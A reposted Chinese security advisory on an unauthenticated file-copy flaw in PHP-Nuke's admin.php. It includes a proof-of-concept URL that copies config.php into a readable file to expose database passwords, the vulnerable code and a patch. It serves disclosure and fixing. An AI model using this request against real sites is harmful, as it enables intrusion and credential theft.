PHP-Nuke安全缺陷

王朝厨房·作者佚名  2007-01-05
宽屏版  字体: |||超大  

PHP-Nuke是一个开放源码软件,被很多站点用作web论坛。它的admin.php文件中存在一个安全缺陷,攻击者可以通过这个缺陷从系统硬盘的任意位置向另外的位置复制文件,从而获得一些敏感文件的访问权限,甚至将这些文件覆盖。

存在缺陷的版本

PHP-Nuke 5.2以及以前的版本

不受影响的版本

只有PHP-Nuke 5.0 RC1

Exploit

以下代码或方法只能用于研究,使用者造成的后果自负

例如:

http://www.example.net/admin.php?upload=1 &file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php &userfile_name=hacked.txt

然后访问刚刚建立的文件:

http://www.example.net/images/hacked.txt

就可以看到有数据库密码的config.php文件的内容。通过这种方式也可以获得其它的文件。

缺陷代码

缺陷代码在admin.php文件中:

$basedir = dirname($SCRIPT_FILENAME);

$textrows = 20;

$textcols = 85;

$udir = dirname($PHP_SELF);

if(!$wdir) $wdir="/";

if($cancel) $op="FileManager";

if($upload) {

copy($userfile,$basedir.$wdir.$userfile_name);

$lastaction = ""._UPLOADED." $userfile_name --> $wdir";

// This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao

//include("header.php");

//GraphicAdmin($hlpfile);

//html_header();

//displaydir();

$wdir2="/";

chdir($basedir . $wdir2);

//CloseTable();

//include("footer.php");

Header("Location: admin.php?op=FileManager");

exit;

这段代码不检查你是否以admin的身份登录,因此你无须通过验证就可以使用admin.php文件。

解决方案

有一个临时的解决方法就是把

"if($upload) {"

改为:

"if (($upload) && ($admintest)) {"

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有